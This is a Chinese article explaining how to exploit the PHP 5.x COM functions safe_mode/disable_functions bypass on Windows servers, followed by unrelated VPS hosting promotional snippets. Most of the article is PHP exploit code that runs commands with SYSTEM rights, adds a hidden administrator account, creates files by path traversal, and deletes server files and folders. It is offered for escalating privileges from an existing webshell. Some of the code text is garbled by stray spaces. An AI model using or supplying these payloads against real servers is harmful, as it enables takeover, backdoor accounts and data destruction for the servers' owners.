PHP 5.x COM functions提权漏洞的利用分析
PHP是英文“超级文本预处理语言” Hypertext Preprocessor的缩写是一种HTML内嵌式的语言。它可以比CGI或者Perl更快速地执行动态网页。PHP具有非常强大的功能所有的CGI或者JavaScript的功能 PHP都能实现支持几乎所有流行的数据库以及操作系统。 近期功能如此强大、运用如此广泛的PHP却出现了重大漏洞也就是PHP 5.xCOM functions safe_mode and disable_function bypass漏洞。它可以实现提权这是很多朋友们所梦寐以求的。下面我们先来总体介绍一下漏洞 由于本人水平有限请大家原谅不准确的地方。 漏洞所用到的COM函数只在Windows环境下的PHP才存在 .net的支持需要PHP5以及.net Runtime。漏洞所利用的函数无需特殊安装是PHP内核的一部分。Windows环境下的PHP默认支持这些扩展不用额外加载其他扩展来调用漏洞函数。
现在部分大中型网站都喜欢用PHP+Apache+Windows来架设这样的话 PHP漏洞的打击面就会很大了特别是在现在提权越来越难的形势下我想很多服务器会因为这个漏洞而沦陷的。 根据漏洞发现者公布的内容漏洞的利用要求php. ini中有如下设置。我的测试环境为PHP5.2.3+Apache2.2.3+Windows XP SP2在我的测试当中发现并不一定要严格按照这样配置大家可以自己测试一下看看。safe_mode=On
disable_functions=com_load_typel ibopen_basedir=htdocs
下面我们就逐一看看这个漏洞的内容与利用。compatUI .dl l中的RunAppl ication函数
这个漏洞的测试代码如下。
<?php
$compatUI=newCOM('{A-7F23-47E2-B7C3-97EE8DD42CD8}');
//加载compatUI .dl l $compatUI->RunAppl ication("something", "notepad.exe", 1);//运行记事本
?>
将其保存为PHP文件放到服务器上然后用IE访问就可以了。运行后IE是没有什么回显的如图1所示但实际上记事本已经运行了而且是SYSTEM权限 因为它是由系统服务来运行的所以继承了SYSTEM权限如图2所示。
利用这个漏洞我们可以运行已经上传好的木马实现WebShel l的提权。当然如果你足够无聊的话还可以写成循环让服务器运行很多记事本实现D.O.S。
Wscript运行命令
这个漏洞的测试代码如下。
<?php
$wscript=new COM('wscript.shel l '); //要用到wscript.exe
$wscript->Run("cmd.exe/c calc.exe");//运行calc.exe
?>
访问该脚本后服务器上出现了SYSTEM权限的calc.exe进程如图3所示。我们只要发挥一下想象力修改一下脚本就能加个管理员账户了具体代码如下。
<?php
$wscript=new COM('wscript.shel l ');$wscript->Run("cmd.exe/c net user admin$/add");$wscript->Run("cmd.exe/c net localgroup administrators admin$/add");
?>
访问该脚本之后即可添加管理员成功这对SYSTE M权限来说简直就是噩梦如图4所示
wshom.ocx中的OpenTextFi le
OpenTextFi le可以用于创建一个文件其中存在的漏洞的测试代码如下。
<?php
$mPath=str_repeat(". .\\",20);
$FSO=new COM('Scripting.Fi leSystemObject');//用到了wshom.ocx
$FSO->OpenTextFi le($mPath."bat.bat",8, true); //在服务器上创建文件虽然这个函数是用来打开文件的但是文件不存在就被创建了
?>
果然在C区根目录出现了这个批处理文件bat.b at如图5所示
wshom.ocx中的DeleteFi le
这个函数可以删除服务器上的文件大家要小心使用测试代码如下。<?php
$mPath=str_repeat(". .\\",20);
$FSOdelFi le=new COM('Scripting.Fi leSystemObject');
//利用了ws h o m.o cx
$FSOdelFi le->DeleteFi le($mPath.".\\*.dat",True);
//删除C区根目录的所有d at文件?>wshom.ocx中的DeleteFolder
利用这个函数可以删除服务器上的文件夹很恐怖哦。测试代码如下<?php
$mPath=str_repeat(". .\\",20);
$FSOdelFolder=new COM('Scripting.Fi leSystemObject');
//使用ws h o m.o cx
$FSOdelFolder->DeleteFolder($mPath.".\\1 1",True);
//删除特定的文件夹
?>
访问之后成功删除了c:\11这个文件夹。
shgina.dl l中Create函数创建账户
这个漏洞的测试代码如下
<?php
$user=new COM('{60664CAF-AF0D-0004-A300-5C7D25FF22A0}');
//利用shgina.dl l$user->Create("asd");
//创建账户asd
?>
不过这里要注意一下利用这个漏洞创建的账户只是属于users组的如图6所示
关于PHP 5.xCOM functions漏洞的利用就为大家介绍到这里了测试代码已经随文提供大家根据自己的需要进行适当修改即可。不过提醒大家一下 以上几个漏洞的利用前提是我们已经有了WebShel l 之后才可以上传用于提权的脚本切记哦
GreenCloudVPS最近在新加坡DC2节点上了新机器,Dual Xeon Silver 4216 CPU,DDR4内存,10Gbps网络端口,推出了几款大硬盘VPS套餐,基于KVM架构,500GB磁盘起年付30美元。除了大硬盘套餐外,还加推了几款采用NVMe硬盘的常规套餐,最低年付20美元。不过需要提醒的是,机房非直连中国,尤其是电信用户ping值感人,包括新加坡DC1也是如此。大硬盘VPS...
由于行业需求和自媒体的倾向问题,对于我们个人站长建站的方向还是有一些需要改变的。传统的个人网站建站内容方向可能会因为自媒体的分流导致个人网站很多行业不再成为流量的主导。于是我们很多个人网站都在想办法进行重新更换行业,包括前几天也有和网友在考虑是不是换个其他行业做做。这不有重新注册域名重新更换。鉴于快速上手的考虑还是采用香港服务器,这不腾讯云和阿里云早已不是新账户,考虑到新注册UCLOUD账户还算比...
spinservers是Majestic Hosting Solutions LLC旗下站点,主要提供国外服务器租用和Hybrid Dedicated等产品的商家,数据中心包括美国达拉斯和圣何塞机房,机器一般10Gbps端口带宽,高配置硬件,支持使用PayPal、信用卡、支付宝或者微信等付款方式。目前,商家针对部分服务器提供优惠码,优惠后达拉斯机房服务器最低每月89美元起,圣何塞机房服务器最低每月...